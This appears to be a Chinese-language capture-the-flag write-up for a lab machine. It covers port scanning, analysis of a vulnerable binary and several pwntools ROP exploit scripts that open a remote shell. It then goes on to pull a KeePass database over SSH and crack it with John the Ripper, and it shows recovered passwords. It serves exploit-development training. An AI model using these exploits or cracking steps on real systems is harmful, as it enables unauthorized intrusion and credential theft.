IP Address | Opening Ports |
---|---|
10.10.10.147 | TCP:22,80,1337 |
$ nmap -p- 10.10.10.147 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
获取消息并且打印
$ chmod +x myapp
$ gdb -q myapp
gdb-peda$ checksec
CANARY: disabled — 栈保护机制被禁用,可以利用缓冲区溢出来覆盖返回地址。
FORTIFY: disabled — 代码没有使用 FORTIFY_SOURCE 进行编译,没有额外的编译时检查。
NX: ENABLED — 禁用了对堆栈执行的权限(不可执行位启用),所以不能在堆栈上直接执行 shellcode。
PIE: disabled — 可执行文件没有启用地址无关代码执行(Position Independent Executable),意味着代码段的地址是固定的。
RELRO: Partial — 部分的 RELRO 保护(即GOT表是可写的,但是GOT起始位置是不可写的)。
gdb-peda$ b main
gdb-peda$ set follow-fork-mode parent
让 GDB 在程序执行 fork() 系统调用时继续跟踪父进程,而不去跟踪子进程。
确认偏移量
gdb-peda$ pattern_create 200
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
gdb-peda$ r
通过栈顶来判断偏移量
gdb-peda$ pattern_offset jAA9AAOA
偏移量120
gdb-peda$ python print("A" * 120 + "B" * 4)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
RIP已被修改
1.payload = junk + pop_rdi + got_plt + plt_system + main
在 ELF(二进制执行和链接格式)文件中,PLT(Procedure Linkage Table)和 GOT(Global Offset Table)是用于动态链接和函数调用的重要结构。它们在程序的运行时加载和执行过程中扮演了关键角色。
PLT 是一个用于支持动态链接的表格,主要用于函数调用。当一个程序调用一个动态链接库中的函数时,实际的函数地址可能在程序加载时并未确定。PLT 解决了这个问题,通过以下方式工作:
初次调用:当程序第一次调用一个动态链接函数时,PLT 中相应的条目将跳转到一个特殊的“连接器”函数(如 ld-linux.so
),该函数负责解析函数的实际地址。
解析地址:连接器函数将查找函数的真实地址,并将其更新到 GOT 中的相应位置。
后续调用:后续对该函数的调用将直接跳转到更新后的 GOT 地址,从而提高调用效率。
GOT 是一个表格,用于存储动态链接的函数和变量的地址。GOT 由编译器在编译时生成,并在程序运行时动态更新。它的作用包括:
存储地址:GOT 存储了动态链接库中的函数和全局变量的地址。在程序的执行过程中,GOT 记录了这些地址。
动态修正:在程序启动时,动态链接器会修正 GOT 中的条目,将它们指向实际的函数或变量地址。
gdb-peda$ disassemble main
system 的 PLT 地址(0x401040)
$ ropper -f myapp | grep rdi
筛选和定位 ROP gadgets(即可用于构造 ROP 链的代码片段)中涉及 rdi 寄存器的那些。这些 gadgets 可能会使用或修改 rdi 寄存器的值,因此在构造 ROP 链时,它们可能非常有用。
通过将 rdi 寄存器设置为 GOT 表中 puts 函数的地址,并调用 system 函数
获取puts函数地址
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
#context(log_level='DEBUG')
junk = "A"*120
got_puts = p64(0x404018)
plt_system = p64(0x401040)
pop_rdi = p64(0x40120b)
main = p64(0x40115f)
payload = junk + pop_rdi + got_puts + plt_system + main
p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00"))
log.info("Leaked puts address: %x" % leaked_puts)
$ python2 pwnapp.py
为什么这种方法有效
缓冲区溢出:利用缓冲区溢出将执行流重定向到我们控制的代码或地址。在这个例子中,通过覆盖返回地址来使程序执行我们的 payload。
控制返回地址:通过填充数据和精心构造的 payload,我们可以将返回地址控制到 pop_rdi
Gadget,这样我们可以设置 rdi
寄存器的值。
利用 GOT 表:通过修改 GOT 表中的 puts
地址,调用 puts
函数时将会跳转到我们控制的地址(如 system
函数的地址)。
ROP 链:使用 pop_rdi
Gadget 将 GOT 表地址设置为 puts
,然后调用 system
函数,最终返回到 main
函数。
通过这些步骤,你可以利用缓冲区溢出漏洞泄露目标程序中敏感信息(如函数地址)。
这些地址每次可能会不同,但底部的 12 位(或者 1.5 字节、3 个四位组或 3 个十六进制字符),在这种情况下是 f90
,将保持不变。
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
#context(log_level='DEBUG')
junk = "A"*120
got_puts = p64(0x404018)
plt_system = p64(0x401040)
pop_rdi = p64(0x40120b)
main = p64(0x40115f)
payload = junk + pop_rdi + got_puts + plt_system + main
p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00"))
log.info("Leaked puts address: %x" % leaked_puts)
libc_base = leaked_puts - 0x68f90
log.info("libc_base: %x" % libc_base)
sh = p64(0x161c19 + libc_base)
payload = junk + pop_rdi + sh + plt_system
p.recvline()
p.sendline(payload)
p.interactive()
$ python2 pwnapp.py
查询.data节区,并且确认.data节区读写权限
$ readelf -S myapp
WA为可读可写,地址0000000000404038
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
#context(log_level='DEBUG')
junk = "A"*120
plt_gets = p64(0x401060)
plt_system = p64(0x401040)
pop_rdi = p64(0x40120b)
binsh = p64(0x404038)
payload = junk + pop_rdi + binsh + plt_gets + pop_rdi + binsh + plt_system
p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
$ python2 pwnapp.py
test()
函数来跳转到 system()
gdb-peda$ disassemble test
将 system 的地址放入 R13 寄存器,并将 /bin/sh 放到栈顶,那么调用 test() 函数将会得到一个 shell。使用 ropper 工具来查找一个可以将 R13 赋值的 gadget。
$ ropper -f myapp | grep r13
第二个 Gadget: pop r13; pop r14; pop r15; ret;
Gadget 解释:这个 gadget 的指令是 pop r13; pop r14; pop r15; ret;
。这意味着它会从栈中依次弹出三个值并将它们分别放入 R13
、R14
和 R15
寄存器中,然后执行 ret
指令返回到调用点。
为什么可以用:
直接操作 R13:该 gadget 中的第一条指令 pop r13
会将栈顶的值弹出到 R13
寄存器。这使得你可以将 system
的地址直接放入 R13
。
多个寄存器:虽然它还会将值放入 R14
和 R15
,这些寄存器可以用来存储其他有用的数据或保持不变的值,不会影响你的攻击目标。
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
binsh = "/bin/sh\x00"
junk = "A"*(120 - len(binsh))
plt_system = p64(0x401040)
test = p64(0x401152)
pop_r13_r14_r15 = p64(0x401206)
payload = junk + binsh + pop_r13_r14_r15 + plt_system + p64(0) + p64(0) + test
p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.interactive()
$ python2 pwnapp.py
写入公钥连接服务器
$ ssh -i ~/.ssh/id_ed25519 [email protected]
$ scp -i ~/.ssh/id_ed25519 [email protected]:~/IMG* .
$ scp -i ~/.ssh/id_ed25519 [email protected]:~/*.kdbx .
KeePass 密码管理器使用的数据库文件格式的扩展名。KeePass 是一个流行的开源密码管理工具,它帮助用户安全地存储和管理密码、密钥和其他敏感信息。.kdbx 文件是 KeePass 生成和使用的加密数据库文件。
$ keepass2john MyPasswords.kdbx > MyPasswords.kdbx.hash; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.hash
-k $img
表示使用 $img(当前遍历的文件)作为密钥文件。通常这意味着你可能会用到密钥文件来解密 KeePass 数据库。
$ john MyPasswords.kdbx.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt
password:bullshit
$ kpcli --key IMG_0547.JPG --kdb MyPasswords.kdbx
kpcli:/> ls
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
kpcli:/MyPasswords> show 0 -f
password:u3v2249dl9ptv465cogl3cnpo3fyhk
bb186118ac36184650d8d6c7d4617bb3